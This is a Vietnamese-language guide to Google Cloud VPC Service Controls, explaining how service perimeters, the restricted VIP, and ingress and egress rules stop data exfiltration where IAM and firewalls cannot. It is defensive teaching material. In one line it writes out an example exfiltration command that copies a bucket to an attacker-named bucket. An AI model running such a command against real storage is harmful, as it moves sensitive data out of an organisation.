My Awesome Project

Appearance

VPC Service Controls — Chặn exfiltration ở đâu, và vì sao không phải firewall ​

Why this matters in production ​

Hãy hình dung một kịch bản exfiltration kinh điển: một attacker (hoặc một insider, hoặc một service account bị lộ credential) có quyền storage.objects.get trên một bucket chứa dữ liệu nhạy cảm. IAM nói "danh tính này được đọc bucket" — đúng. Firewall của VPC nói "VM này được ra internet" — đúng. Vậy mà dữ liệu vẫn có thể bị copy ra một bucket cá nhân ngoài tổ chức, qua chính API hợp lệ của Cloud Storage. Cả IAM lẫn firewall đều không ngăn được, vì cả hai đều không kiểm soát đúng thứ cần kiểm soát.

  • IAM kiểm soát ai được làm gì — nhưng credential bị lộ thì danh tính vẫn "hợp lệ".
  • Firewall kiểm soát packet IP nào tới/đi từ VM nào — nhưng storage.googleapis.com là endpoint của Google, traffic tới nó là "hợp lệ" với firewall; firewall không hiểu "bucket này thuộc org của tôi, bucket kia thì không".

VPC Service Controls (VPC-SC) lấp đúng khoảng trống này: nó tạo một perimeter quanh các managed service (Cloud Storage, BigQuery...) và enforce ở tầng API của service, kiểm soát context của request — request đến từ đâu, tài nguyên đích thuộc perimeter nào. Hiểu VPC-SC enforce ở đâu trong stack (không phải datapath, không phải IAM, mà là API layer) là điều phân biệt một thiết kế chống-exfiltration thật với một mớ rule firewall vô dụng cho mục tiêu này. File này xây dựng mental model đó.

Internal model — perimeter là một control plane riêng, enforce ở API layer ​

Ba control plane bảo mật, ba tầng enforcement khác nhau ​

Bước đầu tiên và quan trọng nhất là định vị VPC-SC giữa hai cơ chế bạn đã biết. Ba cơ chế kiểm soát ba câu hỏi khác nhau tại ba điểm enforcement khác nhau:

   Câu hỏi                         Cơ chế        Enforce ở đâu
   ─────────────────────────────   ───────────   ──────────────────────────────
   "Danh tính này được làm gì?"     IAM           Tầng authorization của mọi API
   "Packet IP này được đi đâu?"     Firewall      Datapath (Andromeda), theo packet
   "Request này — trong context     VPC-SC        API layer của managed service,
    nào — chạm tài nguyên nào?"                   theo ranh giới perimeter

Điểm cốt lõi: VPC-SC không nằm trên datapath của VPC. Nó không soi packet IP. Nó chặn (hoặc cho phép) lời gọi API tới managed service dựa trên việc request đó vượt qua ranh giới perimeter hay không. Theo tài liệu VPC-SC, nó "hoạt động độc lập với IAM": IAM cho "kiểm soát truy cập theo danh tính", còn VPC-SC cho "bảo mật perimeter theo context, bao gồm kiểm soát egress của dữ liệu". Chúng là defense-in-depth, dùng cùng nhau, không thay thế nhau.

Mental model: IAM trả lời "AI". Firewall trả lời "GÓI TIN IP nào, đi ĐÂU ở tầng L3/L4". VPC-SC trả lời "LỜI GỌI API này có được phép vượt ranh giới perimeter để chạm vào managed resource này không". Ba câu hỏi trực giao; một mình mỗi cái không đủ chống exfiltration.

Service perimeter: ranh giới quanh resource, mặc định chặn xuyên biên ​

Đơn vị trung tâm của VPC-SC là service perimeter: một ranh giới bảo mật bao quanh một tập project/resource và một tập managed service được bảo vệ. Theo tài liệu, perimeter "cho phép giao tiếp bên trong, nhưng mặc định chặn mọi giao tiếp xuyên perimeter". Cơ chế:

  • Bạn đặt project (chứa bucket, dataset...) vào trong một perimeter và khai báo service nào được bảo vệ (ví dụ storage.googleapis.com, bigquery.googleapis.com).
  • Từ thời điểm đó, một request từ ngoài perimeter tới một resource được bảo vệ bên trong bị chặn ở API layer — kể cả khi IAM cho phép danh tính đó. Đây chính là cơ chế vô hiệu hóa credential bị lộ: credential vẫn "hợp lệ" với IAM, nhưng request đến từ ngoài perimeter nên VPC-SC chặn.
  • Tương tự, một danh tính bên trong perimeter cố ghi dữ liệu ra một resource ngoài perimeter (exfiltration) bị chặn bởi quy tắc egress mặc định.

Đây là lý do VPC-SC là công cụ chống exfiltration: nó biến "có quyền đọc dữ liệu" thành "có quyền đọc dữ liệu và chỉ trong context được phép". Quyền IAM không còn đủ để mang dữ liệu ra ngoài.

Restricted VIP: ép traffic tới Google API đi qua đường bị kiểm soát ​

Để perimeter có ý nghĩa, traffic từ VM tới Google API phải đi qua một đường mà VPC-SC kiểm soát được, và không có đường vòng ra public endpoint. Đó là vai trò của restricted VIP:

  • restricted.googleapis.com phân giải về dải 199.36.153.4/30 — một VIP "không được quảng bá ra internet" (theo tài liệu), chỉ truy cập được từ trong Google network.
  • Bạn cấu hình DNS (thường qua Cloud DNS private zone cho googleapis.com) để mọi truy cập Google API từ VM giải về restricted VIP, và route 199.36.153.4/30 qua default-internet-gateway (private, không thực sự ra internet).
  • Khác biệt với private.googleapis.com (199.36.153.8/30): private VIP cho truy cập Google API không cần IP công cộng nhưng không giới hạn theo VPC-SC; restricted VIP chỉ phục vụ các API hỗ trợ VPC-SC và là endpoint dùng để enforce perimeter. Chọn nhầm hai VIP này là lỗi cấu hình phổ biến làm perimeter "có mà như không".

Mấu chốt cơ chế: restricted VIP đảm bảo không có cửa sau. Nếu VM còn có thể tới storage.googleapis.com qua public endpoint, attacker có thể né perimeter. Restricted VIP + chặn public Google API egress khép kín đường đi để VPC-SC thực sự là một perimeter, không phải một gợi ý.

Access levels: nới perimeter theo context, có kiểm soát ​

Perimeter mặc định chặn xuyên biên, nhưng thực tế cần cho phép một số truy cập có điều kiện (ví dụ admin từ IP corporate, từ thiết bị tin cậy). Access levels (qua Access Context Manager) phân loại request theo thuộc tính context: dải IP nguồn, thiết bị (device policy), vị trí địa lý, danh tính. Theo tài liệu, access level "phân loại request over the internet dựa trên các thuộc tính như source IP range, client device, geolocation".

Cơ chế kết hợp: bạn gắn access level vào perimeter (qua ingress rule) để nói "cho phép request thỏa context này vượt vào perimeter". Đây là cách cấp truy cập có điều kiện ngữ cảnh mà IAM thuần không làm được — IAM không biết "request này đến từ IP corporate hay từ một quán cà phê".

Ingress & egress rules: kiểm soát hai chiều xuyên perimeter ​

Trên nền "mặc định chặn xuyên biên", bạn mở các lối đi tường minh bằng:

  • Ingress rules: cho một API client ngoài perimeter truy cập resource trong perimeter (ví dụ một pipeline CI ở project khác được đọc bucket trong perimeter, với điều kiện danh tính + context cụ thể).
  • Egress rules: cho client trong perimeter truy cập resource ngoài perimeter (ví dụ đọc một public dataset hợp pháp). Egress rule là nơi bạn kiểm soát chính xác dữ liệu được phép đi ra đâu — trái tim của chính sách chống-exfiltration.

Cả hai rule đều khai báo theo bộ thuộc tính: danh tính nguồn (identity/identityType), project/resource đích, service và method được phép. Đây là mô hình allowlist tường minh cho các luồng xuyên biên hợp pháp, trong khi mọi thứ khác bị mặc định chặn.

Perimeter bridges vs ingress/egress rules ​

Perimeter bridge cho phép project ở hai perimeter khác nhau giao tiếp (bidirectional). Tuy nhiên, theo tài liệu, Google khuyến nghị dùng ingress/egress rules thay cho perimeter bridge: bridge mở một kênh hai chiều rộng giữa hai perimeter, khó suy luận và dễ tạo lối đi ngoài ý muốn; ingress/egress rules cho kiểm soát hạt mịn, tường minh, một chiều theo từng luồng. Mental model: bridge là "nối hai vùng làm một"; ingress/egress là "mở đúng một cánh cửa có điều kiện". Ưu tiên cánh cửa hẹp.

Dry-run mode: quan sát trước khi enforce ​

Vì perimeter chặn mặc định, bật enforce ngay trên một môi trường thật gần như chắc chắn làm vỡ các luồng hợp pháp chưa được khai báo. Dry-run mode giải bài toán này: nó log các request lẽ ra bị chặn mà không thực sự chặn. Bạn chạy dry-run, thu thập danh sách luồng hợp pháp bị "violate", chuyển chúng thành ingress/egress rule, rồi mới enforce. Đây là quy trình triển khai bắt buộc cho perimeter ở môi trường có sẵn workload — nhảy thẳng vào enforce là cách nhanh nhất gây sự cố production.

Constraints, trade-offs & failure modes ​

VPC-SC không phải firewall — và ngược lại ​

Failure mode về tư duy nguy hiểm nhất: dùng nhầm công cụ cho mục tiêu.

  • VPC-SC không chặn ping, không chặn traffic IP giữa VM. Nó không thấy packet L3/L4. Một perimeter không thay thế firewall cho việc phân đoạn mạng.
  • Firewall không chặn gcloud storage cp gs://my-bucket gs://attacker-bucket. Đó là API call tới endpoint Google "hợp lệ"; firewall không hiểu ranh giới dữ liệu. Chỉ VPC-SC (egress rule) chặn được.

Hai cơ chế giải hai bài toán khác nhau; thiếu một trong hai để hở đúng loại tấn công mà cái kia phòng.

Coverage không toàn diện & metadata không được kiểm soát đầy đủ ​

Theo tài liệu, VPC-SC "không hỗ trợ tất cả Google Cloud service" và thiếu "kiểm soát toàn diện trên metadata". Hệ quả thực tế: một service chưa được VPC-SC hỗ trợ vẫn là lối thoát tiềm năng cho dữ liệu; và một số đường metadata vẫn cần IAM kiểm soát. Phải kiểm tra danh sách service được hỗ trợ khi thiết kế perimeter, và không coi VPC-SC là tấm khiên tuyệt đối — nó là một lớp.

Vận hành phức tạp: perimeter sai làm vỡ luồng hợp pháp ​

Vì mặc định chặn, mọi luồng xuyên biên hợp pháp phải được khai báo tường minh. Ở tổ chức lớn với hàng trăm luồng (CI/CD, data pipeline, cross-project analytics), việc liệt kê đầy đủ là công sức lớn, và một thiếu sót gây "service down" khó debug (lỗi VPC-SC thường mơ hồ với người không biết perimeter tồn tại). Dry-run + iterate là bắt buộc; và mọi kỹ sư vận hành cần biết perimeter tồn tại để không debug nhầm sang IAM/firewall.

Cấu hình restricted VIP/DNS sai = perimeter rỗng ​

Nếu DNS không ép Google API về restricted VIP, hoặc VM còn đường ra public Google endpoint, perimeter mất hiệu lực thực tế (có cửa sau). Đây là lỗi cấu hình âm thầm: perimeter "tồn tại" trong console nhưng exfiltration vẫn đi được qua public endpoint. Phải xác minh: DNS *.googleapis.com → restricted VIP, route 199.36.153.4/30 private, và egress tới public Google API bị chặn.

Anti-pattern: tưởng firewall (hoặc IAM) đủ để chống exfiltration ​

  • Vì sao xảy ra: mô hình tinh thần "bảo mật mạng = firewall + IAM" từ on-prem; không nhận ra rằng exfiltration qua API hợp lệ của managed service nằm ngoài tầm của cả hai.
  • Hệ quả ở scale: dữ liệu nhạy cảm có thể bị mang ra ngoài org qua chính API được phép, bằng credential hợp lệ, mà mọi log firewall/IAM đều "xanh"; vi phạm compliance (data residency, exfiltration control) không bị phát hiện.
  • Cách tư duy đúng: chống-exfiltration cho managed service là việc của VPC-SC ở API layer (egress rule + perimeter), bổ sung cho IAM (ai) và firewall (packet). Định vị đúng điểm enforcement; đừng kỳ vọng firewall hiểu ranh giới dữ liệu hay IAM hiểu context.

GCP-native implementation guidance ​

bash
# Tạo perimeter (nên bắt đầu ở DRY-RUN để quan sát luồng trước khi enforce)
gcloud access-context-manager perimeters create prod-data-perimeter \
  --title="Prod data perimeter" \
  --resources=projects/123456789 \
  --restricted-services=storage.googleapis.com,bigquery.googleapis.com \
  --policy=POLICY_ID \
  --perimeter-type=regular
  # dùng --dry-run flag / spec riêng cho giai đoạn quan sát

# Access level theo context (IP corporate) gắn vào ingress rule sau đó
gcloud access-context-manager levels create corp_ip \
  --title="Corp IP" --basic-level-spec=corp-ip.yaml --policy=POLICY_ID

# DNS: ép googleapis.com về restricted VIP (điều kiện để perimeter có hiệu lực)
#   private zone googleapis.com → CNAME restricted.googleapis.com → 199.36.153.4/30
#   + route 199.36.153.4/30 qua default-internet-gateway (private)

Sau khi cấu hình, chạy dry-run đủ lâu để thu mọi luồng hợp pháp, chuyển thành ingress/egress rules, rồi mới enforce. Kiểm tra log VPC-SC (protoPayload với violationReason) để biết request nào bị (sẽ bị) chặn và vì sao.

Tóm tắt mental model ​

  • VPC-SC là control plane bảo mật thứ ba, trực giao với IAM (ai) và firewall (packet IP): nó kiểm soát lời gọi API tới managed service theo ranh giới perimeter, enforce ở API layer — không trên datapath.
  • Service perimeter mặc định chặn mọi giao tiếp xuyên biên → vô hiệu hóa credential bị lộ (request từ ngoài perimeter bị chặn dù IAM cho phép) và chặn exfiltration (egress mặc định cấm).
  • Restricted VIP 199.36.153.4/30 + DNS ép Google API về đó + chặn public endpoint = khép cửa sau để perimeter thực sự có hiệu lực. Khác private.googleapis.com (không gắn VPC-SC).
  • Access levels nới theo context (IP/thiết bị/vị trí); ingress/egress rules mở lối tường minh hai chiều; ưu tiên ingress/egress hơn perimeter bridge.
  • Dry-run trước, enforce sau — bắt buộc cho môi trường có workload.
  • VPC-SC không thay firewall/IAM và không phủ mọi service; nó là một lớp defense-in-depth, không phải tấm khiên tuyệt đối.

References ​